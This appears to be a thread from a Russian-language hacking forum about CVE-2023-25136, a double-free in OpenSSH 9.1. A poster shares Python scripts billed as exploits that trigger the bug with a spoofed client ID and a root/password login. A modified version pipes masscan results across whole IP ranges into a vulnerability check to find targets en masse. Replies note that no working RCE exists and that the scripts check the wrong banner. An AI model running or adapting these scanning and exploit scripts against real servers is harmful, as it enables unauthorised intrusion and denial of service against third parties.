• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote CVE-2023-25136 - Double-free vulnerability in OpenSSH 9.1

propensity

HDD-drive
Пользователь
Регистрация
02.02.2023
Сообщения
40
Реакции
19
Описание
CVE-2023-25136, a pre-authentication double-free vulnerability, has been fixed in OpenSSH version 9.2p1. The vulnerability is highly severe, with a CVSS score of 9.8, and could be used to cause a denial-of-service (DoS) or remote code execution (RCE).

OpenSSH is a free and open-source tool for secure remote communication and access. Administrators and developers widely use it, and it is compatible with various operating systems.

CVE-2023-25136 affects the default configuration of OpenSSH version 9.1p1 (sshd).

POC
 
Описание


POC

openssh-9_1-single_exploit.py

Python:
import paramiko
import pyfiglet

ascii_text = pyfiglet.figlet_format("openssh 9.1", font="starwars")
ascii_text += "\n\033[38;2;255;153;51m\033[2m✨💥by christbowel🎭💻\033[0m"
print(ascii_text)

print ("")

target_ip = input("Enter the IP address to exploit: ")
CLIENT_ID = "PuTTY_Release_0.64"

def main():
    transport = paramiko.Transport((target_ip, 22))
    transport.local_version = f"SSH-2.0-{CLIENT_ID}"
    transport.connect(username='root', password='password')

if __name__ == "__main__":
    main()

openssh-9_1.py


Python:
import paramiko
import socket
from termcolor import colored
import pyfiglet

ascii_text = pyfiglet.figlet_format("openssh 9.1", font="starwars")
ascii_text += "\n\033[38;2;255;153;51m\033[2m✨💥by christbowel🎭💻\033[0m"
print(ascii_text)

print ("")

ip_file = input("Enter the list of IP addresses to test 🔥 : ")

client_id = "PuTTY_Release_0.64"

def check_ssh_vulnerability(ip):
    try:
        transport = paramiko.Transport((ip, 22))
        transport.local_version = f"SSH-2.0-{client_id}"
        transport.connect(username='root', password='password')
        print(colored(f"{ip}: Vulnerable", 'green'))
        transport.close()

    except Exception as e:
        print(colored(f"{ip}: Non vulnérable ({e})", 'red'))


with open(ip_file, 'r') as f:
    for line in f:
        ip = line.strip()
        check_ssh_vulnerability(ip)

Исправленный мною код ровно через 2 дня после его публикации
 

openssh-9_1-single_exploit.py

Python:
import paramiko
import pyfiglet

ascii_text = pyfiglet.figlet_format("openssh 9.1", font="starwars")
ascii_text += "\n\033[38;2;255;153;51m\033[2m✨💥by christbowel🎭💻\033[0m"
print(ascii_text)

print ("")

target_ip = input("Enter the IP address to exploit: ")
CLIENT_ID = "PuTTY_Release_0.64"

def main():
    transport = paramiko.Transport((target_ip, 22))
    transport.local_version = f"SSH-2.0-{CLIENT_ID}"
    transport.connect(username='root', password='password')

if __name__ == "__main__":
    main()

openssh-9_1.py


Python:
import paramiko
import socket
from termcolor import colored
import pyfiglet

ascii_text = pyfiglet.figlet_format("openssh 9.1", font="starwars")
ascii_text += "\n\033[38;2;255;153;51m\033[2m✨💥by christbowel🎭💻\033[0m"
print(ascii_text)

print ("")

ip_file = input("Enter the list of IP addresses to test 🔥 : ")

client_id = "PuTTY_Release_0.64"

def check_ssh_vulnerability(ip):
    try:
        transport = paramiko.Transport((ip, 22))
        transport.local_version = f"SSH-2.0-{client_id}"
        transport.connect(username='root', password='password')
        print(colored(f"{ip}: Vulnerable", 'green'))
        transport.close()

    except Exception as e:
        print(colored(f"{ip}: Non vulnérable ({e})", 'red'))


with open(ip_file, 'r') as f:
    for line in f:
        ip = line.strip()
        check_ssh_vulnerability(ip)

Исправленный мною код ровно через 2 дня после его публикации
Python:
import socket
import argparse
import subprocess
import concurrent.futures

def check_ssh_vulnerability(ip):
    try:
        transport = paramiko.Transport((ip, 22))
        transport.local_version = "SSH-2.0-OpenSSH_9.1"
        transport.connect(username='root', password='password')
        print(f"{ip}: Vulnerable")
        transport.close()
    except:
        pass

def masscan(ip_range):
    command = f"masscan -p 22 {ip_range} --rate=1000"
    with subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, universal_newlines=True) as process:
        for line in process.stdout:
            line = line.strip()
            if line.startswith("Discovered"):
                ip_address = line.split(" ")[1]
                check_ssh_vulnerability(ip_address)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Check if a range of IP addresses is vulnerable to the OpenSSH 9.1 exploit')
    parser.add_argument('ip_range', metavar='IP_RANGE', type=str, help='IP address range to scan (e.g. 192.168.1.1/24)')
    args = parser.parse_args()

    masscan(args.ip_range)
Код:
python3 masscan.py 192.168.1.1/24
Масскан.



P.S. Кстати, будет неплохо если господин Christbowel со мной свяжется, но это уже другая история )
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
del
 
Последнее редактирование:
RCE реален?
Уязвимость теоретически может быть использована для отказа в обслуживании, и, возможно, для удаленного выполнения кода (RCE), однако разработка рабочего эксплоита сложна из-за существующих локальных мер безопасности, таких как песочница и механизм разделения привилегий. В случае отказа в обслуживании происходит сбой разветвленных демонов.из-за отказа песочницы при попытке вызвать writev(), поэтому демон основного сервера свободен для обработки новых клиентов, и если не применяются меры по предотвращению эксплуатации памяти (например, ASLR или NX) - RCE возможен. Подробная инфа туть.
Vinki уязвимость относится только к OpenSSH версии 9.1p1 (патченный релиз 9.1) с конфигом по умолчанию. Например в censys: services.banner: 'SSH-2.0-OpenSSH_9.1p1' - у меня results: 5,463 а 'SSH-2.0-OpenSSH_9.1' - 46,392 , разница как бы есть, да и экспа как бы нет. Потому эти PoC'и не несут в себе практической пользы, тем более если чекаешь не на тот баннер ;)
 
Последнее редактирование:
Строка
transport.local_version = "SSH-2.0-OpenSSH_9.1"
Исправлена на:
Python:
SSH-2.0-OpenSSH_9.1p1
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх